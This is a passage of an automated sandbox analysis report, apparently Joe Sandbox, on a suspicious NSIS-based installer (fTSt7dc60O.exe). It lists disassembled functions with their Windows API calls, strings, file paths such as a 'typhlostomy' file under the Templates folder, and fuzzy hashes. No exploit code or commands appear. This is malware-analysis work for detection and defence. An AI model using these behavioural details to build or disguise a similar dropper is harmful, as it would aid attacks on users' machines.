Opcode Fuzzy Hash: a31c6952aff2c2d9e3077db5cda77fcb20a4fa1314c68fe29834e6b9dbef6b62
Instruction Fuzzy Hash: 74F17571D04229CBCF28CFA8C8946ADBBB1FF44305F25856ED456BB281D3785A96CF44

Function 0040628B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(?,00425738,00424EF0,00405AE4,00424EF0,00424EF0,00000000,00424EF0,00424EF0,?,?,771B2EE0,004057F0,?,C:\Users\user~1\AppData\Local\Temp\,771B2EE0), ref: 00406296
FindClose.KERNEL32(00000000), ref: 004062A2

Strings

8WB, xrefs: 0040628C

Memory Dump Source

Source File: 00000000.00000002.1365197746.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1365171728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365230267.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000446000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365412260.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fTSt7dc60O.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: 8WB
API String ID: 2295610775-3088156181
Opcode ID: ea398e9f6ccb252cf4d9fa8037675df58843bd33ee06a9524947f1dc2dc69440
Instruction ID: bfad84801e56aa45620b307e7a8f789e26230cc956ed9d1a225fdef78671a1f1
Opcode Fuzzy Hash: ea398e9f6ccb252cf4d9fa8037675df58843bd33ee06a9524947f1dc2dc69440
Instruction Fuzzy Hash: A7D01231A59020ABC6003B38AD0C84B7A989B553317224AB6F426F63E0C37C8C66969D

Function 004062B2 Relevance: 4.5, APIs: 3, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000020,0040339D,00000009), ref: 004062C4
LoadLibraryA.KERNELBASE(?,?,00000020,0040339D,00000009), ref: 004062CF
GetProcAddress.KERNEL32(00000000,?), ref: 004062E0

Memory Dump Source

Source File: 00000000.00000002.1365197746.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1365171728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365230267.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000446000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365412260.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fTSt7dc60O.jbxd

Similarity

API ID: AddressHandleLibraryLoadModuleProc
String ID:
API String ID: 310444273-0
Opcode ID: fea95c0a25b0bbf4266b289da7fdc3055b6cbcb5f703618f179729d09c13f2c5
Instruction ID: 6db28869a22d2b590e25977263656b8717a92efcd7e963286bbc5c179789795b
Opcode Fuzzy Hash: fea95c0a25b0bbf4266b289da7fdc3055b6cbcb5f703618f179729d09c13f2c5
Instruction Fuzzy Hash: F2E0C236E0C120ABC7225B209E4896B73ACAFE9651305043EF506F6280C774EC229BE9

Function 0040206A Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 123comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(00407474,?,00000001,00407464,?,00000000,00000045,000000CD,00000002,000000DF,000000F0), ref: 004020BD

Strings

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\typhlostomy, xrefs: 004020FB

Memory Dump Source

Source File: 00000000.00000002.1365197746.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1365171728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365230267.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000446000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365412260.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fTSt7dc60O.jbxd

Similarity

API ID: CreateInstance
String ID: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\typhlostomy
API String ID: 542301482-3275360645
Opcode ID: 330b72db69b131769a7f43a84d7f99a236d9a4fefb58777c6ca7a9fe0b558edb
Instruction ID: 3f054c58238b343a02ca2e9776fd111f4d7efc3a485c04e582207c90830a0c16
Opcode Fuzzy Hash: 330b72db69b131769a7f43a84d7f99a236d9a4fefb58777c6ca7a9fe0b558edb
Instruction Fuzzy Hash: BC414F75A00105BFCB00DFA4C988EAE7BB5BF49318B20416AF505EF2D1D679AD41CB54

Function 00403CC2 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 345
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403CFE
ShowWindow.USER32(?), ref: 00403D1B
DestroyWindow.USER32 ref: 00403D2F
SetWindowLongW.USER32(?,00000000,00000000), ref: 00403D4B
GetDlgItem.USER32(?,?), ref: 00403D6C
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00403D80
IsWindowEnabled.USER32(00000000), ref: 00403D87
GetDlgItem.USER32(?,00000001), ref: 00403E35
GetDlgItem.USER32(?,00000002), ref: 00403E3F
SetClassLongW.USER32(?,000000F2,?), ref: 00403E59
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 00403EAA
GetDlgItem.USER32(?,00000003), ref: 00403F50
ShowWindow.USER32(00000000,?), ref: 00403F71
KiUserCallbackDispatcher.NTDLL(?,?), ref: 00403F83
EnableWindow.USER32(?,?), ref: 00403F9E
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00403FB4
EnableMenuItem.USER32(00000000), ref: 00403FBB
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 00403FD3
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 00403FE6
lstrlenW.KERNEL32(004226E8,?,004226E8,00428200), ref: 0040400F
SetWindowTextW.USER32(?,004226E8), ref: 00404023
ShowWindow.USER32(?,0000000A), ref: 00404157

Strings

&B, xrefs: 00403FFB

Memory Dump Source

Source File: 00000000.00000002.1365197746.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1365171728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365230267.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000446000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365412260.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fTSt7dc60O.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID: &B
API String ID: 3282139019-3208460036
Opcode ID: df49f6763b05bfa84c1d779e4394ea7a5d72abe941678efbb561a9aecc95dd19
Instruction ID: 615a13079a357bc63dc92eaebf5b97e46402dd0953b19927b77141fc7a078d9b
Opcode Fuzzy Hash: df49f6763b05bfa84c1d779e4394ea7a5d72abe941678efbb561a9aecc95dd19
Instruction Fuzzy Hash: B6C1A371A04201BBDB216F61ED49E2B3AA8FB95705F40093EF601B51F1C7799892DB2E

Function 0040391F Relevance: 51.0, APIs: 15, Strings: 14, Instructions: 216
stringregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004062B2: GetModuleHandleA.KERNEL32(?,?,00000020,0040339D,00000009), ref: 004062C4
Part of subcall function 004062B2: LoadLibraryA.KERNELBASE(?,?,00000020,0040339D,00000009), ref: 004062CF
Part of subcall function 004062B2: GetProcAddress.KERNEL32(00000000,?), ref: 004062E0

lstrcatW.KERNEL32(1033,004226E8,80000001,Control Panel\Desktop\ResourceLocale,00000000,004226E8,00000000,00000002,C:\Users\user~1\AppData\Local\Temp\,771B3420,00000000,"C:\Users\user\Desktop\fTSt7dc60O.exe"), ref: 004039A0
lstrlenW.KERNEL32(Call,?,?,?,Call,00000000,C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\typhlostomy,1033,004226E8,80000001,Control Panel\Desktop\ResourceLocale,00000000,004226E8,00000000,00000002,C:\Users\user~1\AppData\Local\Temp\), ref: 00403A20
lstrcmpiW.KERNEL32(?,.exe,Call,?,?,?,Call,00000000,C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\typhlostomy,1033,004226E8,80000001,Control Panel\Desktop\ResourceLocale,00000000,004226E8,00000000), ref: 00403A33
GetFileAttributesW.KERNEL32(Call), ref: 00403A3E
LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\typhlostomy), ref: 00403A87

Part of subcall function 00405E8F: wsprintfW.USER32 ref: 00405E9C

RegisterClassW.USER32(004281A0), ref: 00403AC4
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00403ADC
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403B11
ShowWindow.USER32(00000005,00000000), ref: 00403B47
LoadLibraryW.KERNELBASE(RichEd20), ref: 00403B58
LoadLibraryW.KERNEL32(RichEd32), ref: 00403B63
GetClassInfoW.USER32(00000000,RichEdit20W,004281A0), ref: 00403B73
GetClassInfoW.USER32(00000000,RichEdit,004281A0), ref: 00403B80
RegisterClassW.USER32(004281A0), ref: 00403B89
DialogBoxParamW.USER32(?,00000000,00403CC2,00000000), ref: 00403BA8

Strings

"C:\Users\user\Desktop\fTSt7dc60O.exe", xrefs: 00403922
.exe, xrefs: 00403A2D
.DEFAULT\Control Panel\International, xrefs: 0040398B
RichEdit20W, xrefs: 00403B6B, 00403B71
C:\Users\user~1\AppData\Local\Temp\, xrefs: 0040392B
RichEdit, xrefs: 00403B7A
1033, xrefs: 0040393F, 0040399B
_Nb, xrefs: 00403AA3, 00403B0B
C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\typhlostomy, xrefs: 004039AF, 004039B7, 00403A5A, 00403A60, 00403A70
RichEd20, xrefs: 00403B53
&B, xrefs: 0040394B
Control Panel\Desktop\ResourceLocale, xrefs: 00403953
RichEd32, xrefs: 00403B5E
Call, xrefs: 004039E7, 004039F0, 004039FE, 00403A4D, 00403A53

Memory Dump Source

Source File: 00000000.00000002.1365197746.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1365171728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365230267.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000446000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365412260.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fTSt7dc60O.jbxd

Similarity

API ID: ClassLoad$InfoLibrary$RegisterWindow$AddressAttributesCreateDialogFileHandleImageModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: "C:\Users\user\Desktop\fTSt7dc60O.exe"$.DEFAULT\Control Panel\International$.exe$1033$C:\Users\user~1\AppData\Local\Temp\$C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\typhlostomy$Call$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb$&B
API String ID: 914957316-3645556243
Opcode ID: 9ff61719f6c30c529665ce4dbc08b581b5599c43b58c29c5b92350d035ae6190
Instruction ID: 309fb0296e4a6d1bba18aa3b2e86eaa258190dfd088e540a173f113b23667d40
Opcode Fuzzy Hash: 9ff61719f6c30c529665ce4dbc08b581b5599c43b58c29c5b92350d035ae6190
Instruction Fuzzy Hash: BE61B570644200BED720AF669C46F2B3A7CEB84749F40457FF945B62E2DB796902CA3D

Function 00402DBC Relevance: 26.5, APIs: 5, Strings: 10, Instructions: 203
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00402DD0
GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\fTSt7dc60O.exe,00000400), ref: 00402DEC

Part of subcall function 00405BB4: GetFileAttributesW.KERNELBASE(00000003,00402DFF,C:\Users\user\Desktop\fTSt7dc60O.exe,80000000,00000003), ref: 00405BB8
Part of subcall function 00405BB4: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405BDA

GetFileSize.KERNEL32(00000000,00000000,00438000,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\fTSt7dc60O.exe,C:\Users\user\Desktop\fTSt7dc60O.exe,80000000,00000003), ref: 00402E35
GlobalAlloc.KERNELBASE(00000040,00409230), ref: 00402F7C

Strings

"C:\Users\user\Desktop\fTSt7dc60O.exe", xrefs: 00402DC5
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00403013
C:\Users\user\Desktop\fTSt7dc60O.exe, xrefs: 00402DD6, 00402DE5, 00402DF9, 00402E16
Inst, xrefs: 00402EA3
C:\Users\user~1\AppData\Local\Temp\, xrefs: 00402DC9, 00402F94
Null, xrefs: 00402EB5
Error launching installer, xrefs: 00402E0C
C:\Users\user\Desktop, xrefs: 00402E17, 00402E1C, 00402E22
Error writing temporary file. Make sure your temp folder is valid., xrefs: 00402FC5
soft, xrefs: 00402EAC

Memory Dump Source

Source File: 00000000.00000002.1365197746.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1365171728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365230267.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000446000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365412260.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fTSt7dc60O.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
String ID: "C:\Users\user\Desktop\fTSt7dc60O.exe"$C:\Users\user~1\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\fTSt7dc60O.exe$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 2803837635-4247983765
Opcode ID: dbc4309bf9e12582ea8865ce62b28691ef8d5c521c6be9f7d6ce07414c4970ed
Instruction ID: b2cc58b1aa553f56ba66d3b0850f03698e33e3340d89f7fe3e9d1fe3a0eb5287
Opcode Fuzzy Hash: dbc4309bf9e12582ea8865ce62b28691ef8d5c521c6be9f7d6ce07414c4970ed
Instruction Fuzzy Hash: 43610371941205ABDB209FA4DD85B9E3BB8EB04354F20447BF605B72D2C7BC9E418BAD

Function 00401752 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 145
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatW.KERNEL32(00000000,00000000,Call,C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\typhlostomy,?,?,00000031), ref: 00401793
CompareFileTime.KERNEL32(-00000014,?,Call,Call,00000000,00000000,Call,C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\typhlostomy,?,?,00000031), ref: 004017B8

Part of subcall function 00405F48: lstrcpynW.KERNEL32(?,?,00000400,004033C8,00428200,NSIS Error), ref: 00405F55

Part of subcall function 004051F2: lstrlenW.KERNEL32(Skipped: C:\Users\user~1\AppData\Local\Temp\nsb9BB3.tmp\System.dll,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000,?), ref: 0040522A
Part of subcall function 004051F2: lstrlenW.KERNEL32(00402D94,Skipped: C:\Users\user~1\AppData\Local\Temp\nsb9BB3.tmp\System.dll,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000), ref: 0040523A
Part of subcall function 004051F2: lstrcatW.KERNEL32(Skipped: C:\Users\user~1\AppData\Local\Temp\nsb9BB3.tmp\System.dll,00402D94,00402D94,Skipped: C:\Users\user~1\AppData\Local\Temp\nsb9BB3.tmp\System.dll,00000000,00000000,00000000), ref: 0040524D
Part of subcall function 004051F2: SetWindowTextW.USER32(Skipped: C:\Users\user~1\AppData\Local\Temp\nsb9BB3.tmp\System.dll,Skipped: C:\Users\user~1\AppData\Local\Temp\nsb9BB3.tmp\System.dll), ref: 0040525F
Part of subcall function 004051F2: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405285
Part of subcall function 004051F2: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040529F
Part of subcall function 004051F2: SendMessageW.USER32(?,00001013,?,00000000), ref: 004052AD

Strings

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\typhlostomy, xrefs: 00401781
C:\Users\user~1\AppData\Local\Temp\nsb9BB3.tmp\System.dll, xrefs: 00401818, 00401834
C:\Users\user~1\AppData\Local\Temp\nsb9BB3.tmp, xrefs: 00401804, 00401822
Call, xrefs: 00401770, 00401779, 00401786, 004017A4, 004017DA, 004017F0, 0040180E, 0040184A, 004018CB, 004018D4, 004018DE, 004018E9

Memory Dump Source

Source File: 00000000.00000002.1365197746.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1365171728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365230267.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000446000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365412260.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fTSt7dc60O.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: C:\Users\user~1\AppData\Local\Temp\nsb9BB3.tmp$C:\Users\user~1\AppData\Local\Temp\nsb9BB3.tmp\System.dll$C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\typhlostomy$Call
API String ID: 1941528284-877433953
Opcode ID: 8fd7ff773941625183321c21c1d438156bd1c93f7609a995d7972b8441070f6c
Instruction ID: 22a22a0f5d261001ccd7191b61e6a6ae22ba545f5f0eb33ed6189b5534195358
Opcode Fuzzy Hash: 8fd7ff773941625183321c21c1d438156bd1c93f7609a995d7972b8441070f6c
Instruction Fuzzy Hash: 3341C071900515BACF11BBB5CC86EAF3679EF06369F20423BF422B10E1C73C8A419A6D

Function 004051F2 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 72
stringwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(Skipped: C:\Users\user~1\AppData\Local\Temp\nsb9BB3.tmp\System.dll,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000,?), ref: 0040522A
lstrlenW.KERNEL32(00402D94,Skipped: C:\Users\user~1\AppData\Local\Temp\nsb9BB3.tmp\System.dll,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000), ref: 0040523A
lstrcatW.KERNEL32(Skipped: C:\Users\user~1\AppData\Local\Temp\nsb9BB3.tmp\System.dll,00402D94,00402D94,Skipped: C:\Users\user~1\AppData\Local\Temp\nsb9BB3.tmp\System.dll,00000000,00000000,00000000), ref: 0040524D
SetWindowTextW.USER32(Skipped: C:\Users\user~1\AppData\Local\Temp\nsb9BB3.tmp\System.dll,Skipped: C:\Users\user~1\AppData\Local\Temp\nsb9BB3.tmp\System.dll), ref: 0040525F
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405285
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040529F
SendMessageW.USER32(?,00001013,?,00000000), ref: 004052AD

Strings

Skipped: C:\Users\user~1\AppData\Local\Temp\nsb9BB3.tmp\System.dll, xrefs: 00405213, 00405223, 00405229, 0040524C, 00405258

Memory Dump Source

Source File: 00000000.00000002.1365197746.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1365171728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365230267.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000446000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365412260.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fTSt7dc60O.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID: Skipped: C:\Users\user~1\AppData\Local\Temp\nsb9BB3.tmp\System.dll
API String ID: 2531174081-1111276337
Opcode ID: 241caa620ce1fcc58b3a3595d79cd8debb0f013b3e7c164dabd01d0a25878295
Instruction ID: 09d17c59ce7287a2cbf3dc662f19c44123261f726eb293d34c68041fb2ac0666
Opcode Fuzzy Hash: 241caa620ce1fcc58b3a3595d79cd8debb0f013b3e7c164dabd01d0a25878295
Instruction Fuzzy Hash: CA21A131900558BBCB219FA5DD849DFBFB8EF54310F14807AF904B62A0C3798A81CFA8

Function 00402573 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 142
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadFile.KERNELBASE(?,?,?,?), ref: 004025DB
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,00000001), ref: 00402616
SetFilePointer.KERNELBASE(?,?,?,00000001,?,00000008,?,?,?,00000001), ref: 00402639
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,00000001,?,00000001,?,00000008,?,?,?,00000001), ref: 0040264F

Part of subcall function 00405C37: ReadFile.KERNELBASE(00409230,00000000,00000000,00000000,00000000,00413E90,0040BE90,0040330C,00409230,00409230,004031FE,00413E90,00004000,?,00000000,?), ref: 00405C4B

Part of subcall function 00405E8F: wsprintfW.USER32 ref: 00405E9C

Strings

9, xrefs: 004025BE

Memory Dump Source

Source File: 00000000.00000002.1365197746.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1365171728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365230267.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000446000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365412260.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fTSt7dc60O.jbxd

Similarity

API ID: File$ByteCharMultiReadWide$Pointerwsprintf
String ID: 9
API String ID: 1149667376-2366072709
Opcode ID: 14d7a1a443259207830479a75009ee39c6dacd7ae2e8022bb32dc9fb2f0741b6
Instruction ID: 34008a6f5bb5370994306dbe4266d00811a1d2e87b5126a94146f67fdcf6739f
Opcode Fuzzy Hash: 14d7a1a443259207830479a75009ee39c6dacd7ae2e8022bb32dc9fb2f0741b6
Instruction Fuzzy Hash: 0E51E771E04209ABDF24DF94DE88AAEB779FF04304F50443BE511B62D0D7B99A42CB69

Function 0040317D Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 108
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00403192

Part of subcall function 0040330F: SetFilePointer.KERNELBASE(00000000,00000000,00000000,00402FE7,?), ref: 0040331D

SetFilePointer.KERNELBASE(00000000,00000000,?,00000000,?,00403095,00000004,00000000,00000000,?,?,?,0040300E,000000FF,00000000,00000000), ref: 004031C5
WriteFile.KERNELBASE(0040BE90,00410DE9,00000000,00000000,00413E90,00004000,?,00000000,?,00403095,00000004,00000000,00000000,?,?), ref: 0040327F
SetFilePointer.KERNELBASE(00004D7A,00000000,00000000,00413E90,00004000,?,00000000,?,00403095,00000004,00000000,00000000,?,?,?,0040300E), ref: 004032D1

Strings

A, xrefs: 0040324E, 00403267

Memory Dump Source

Source File: 00000000.00000002.1365197746.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1365171728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365230267.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
